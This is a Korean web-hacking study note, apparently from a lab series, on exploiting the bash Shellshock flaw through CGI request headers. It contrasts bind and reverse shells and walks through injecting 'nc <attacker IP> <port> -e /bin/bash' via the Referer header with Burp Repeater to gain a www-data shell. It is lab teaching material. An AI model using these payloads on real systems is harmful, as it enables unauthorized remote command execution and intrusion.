본문 바로가기

웹해킹

웹해킹 #13 알려진 취약점을 이용한 공격 - 쉘쇼크 취약점

2. 쉘쇼크 취약점 공격과 리버스 쉘 실습

- 쉘쇼크 : bash 쉘의 취약점이며, 시스템 환경변수에 () { :;}; <command> 같이 특정 패턴의 문자열과 함께 임의의 명령어가 저장되어 있으면 쉘이 실행될 때 해당 명령어가 실행되는 취약점 - env x=’() { :;}; echo vulnerable’ bash -c ‘echo this is test’ → 이 명령문을 통해 시스템이 쉘쇼크에 취약한지 확인 가능 → x 환경 변수에 쉘쇼크 공격 패턴과 명령어를 지정한 뒤 bash 쉘을 실행하여 지정한 명령어가 실행되는지 확인하는 명령어
→취약 시 echo vunerable 명령어가 실행됨

- CGI로 구현된 웹 애플리케이션의 경우 요청 헤더가 환경 변수로 저장됨으로써, 웹을 통해 쉘쇼크 공격이 가능하여 피해가 더 광범위해짐

- 마지막 두 줄은 실습 페이지의 원래 내용이 아닌, 실습 페이지에서 <iframe>을 통해 요청한 shellshock.sh 쉘 스크립트의 실행 결과로 출력된 것!

- 실제 소스코드를 보면 iframe 태그가 사용된 것 확인 가능

- 버프 스위트의 Proxy History에서도 shellshock.php에 대한 요청 다음에 shellshock.sh가 요청된 것 확인 가능
- shellshock.sh
가 요청되면 bash에 의해 쉘 스크립트가 실행되고, 쉘쇼크 취약점이 존재하므로, shellshock.sh를 요청하는 요청 헤더에 쉘쇼크 공격 코드를 삽입하여 전송하면 원하는 명령 실행 가능해짐 -> 명령어 실행이 가능한 공격

 

* 바인드 쉘 기법과 리버스 쉘 기법

 

- 바인드 쉘 기법 : 공격자가 서버 쪽에 리스닝 포트를 열어 접속을 기다리도록 만든 후, 공격자 클라이언트에서 서버로 접속하여 쉘을 획득하는 공격 방법 -> 공격자 호스트가 클라이언트, 침투에 성공한 공격 대상이 서버

- 리버스 쉘 기법 : 공격 대상 쪽에서 공격자의 호스트로 접속하도록 만들어 역방향으로 쉘을 생성하는 공격 기법 -> 공격자 호스트가 서버, 침투에 성공한 공격 대상이 클라이언트, 방화벽을 우회하기 위한 용도로 사용되는 기법 (사용할 방법)

 

<쉘쇼크 공격 이후 리버스 쉘 기법>

 

- 리버스 쉘을 생성하기 위해 nc 명령어 사용
- nc :
네트워크 통신을 위한 프로그램으로, 클라이언트 모드, 서버 모드 양쪽 모두로 구동될 수 있기 때문에 두 개의 호스트에서 각각 nc 프로그램을 이용하여 서로 통신 가능
-
공격자의 호스트가 서버가 되므로 공격자의 호스트인 칼리 리눅스에서 서버를 열고 아래의 nc 명령문을 사용하여 리스닝 모드로 포트 생성

 

nc -lvnp <포트번호>

 

-l : nc를 리스닝 모드로 동작시킴. nc가 서버 역할
-v : nc
실행 중 발생하는 메시지 출력. 접속이 들어오면 그 내용을 알려줌
-n :
호스트 주소나 포트를 숫자 형태로 표시
-p :
리스닝 모드에서 사용할 포트 번호 지정

 

- 동작하고 있는 nc 서버로 접속하여 쉘을 획득하기 위해 원격에서 실행하는 명령어

 

nc <공격자 호스트 IP 주소> <포트번호> -e /bin/bash

 

→ nc 명령어 뒤에 지정된 IP 주소와 포트로 접속하게 되는데, -e 옵션은 접속이 이루어진 후 실행할 명령어를 지정하는 옵션임. 그러므로 접속이 이루어지면 /bin/bash 지정 시 bash 쉘이 생성

 

① 칼리 리눅스에서 nc를 서버 모드로 실행한다.

② 요청 메시지의 레퍼러 헤더에 쉘쇼크 공격 패턴을 삽입한 후, nc를 클라이언트 모드로 실행하여 칼리 리눅스에 접속

 

- shellshock.sh 요청을 리피터로 보내고 리피터 기능에서 레퍼러 헤더의 값을 변경 후 nc를 이용하여 칼리 리눅스에서 리스닝하고 있는 4000번 포트로 접속하도록 한다.
(shellshock.sh
이 실행될 때 PATH 환경 변수 설정이 되어 있지 않아 전체 경로를 입력해야만 명령어를 실행할 수 있으므로 nc 명령어의 전체 경로 지정)

- 전송 시 nc가 실행되고 있는 칼리 리눅스 터미널에서 접속이 들어온 것 확인 가능


③ 접속으로 생성된 쉘을 통해 포스트 익스플로잇 수행

 

- 터미널을 통해 각종 명령어 실행 가능하며, 처음 생성된 쉘은 프롬프트가 표시되지 않는 아주 간단한 쉘이므로 고급 기법으로 원격 호스트에 파이썬이 설치되어 있으면 다음 명령어를 사용하여 프롬프트가 표시되는 쉘로 업그레이드 가능

- id 명령어 결과를 통해 www-data라는 일반사용자 권한이 획득된 것 확인 가능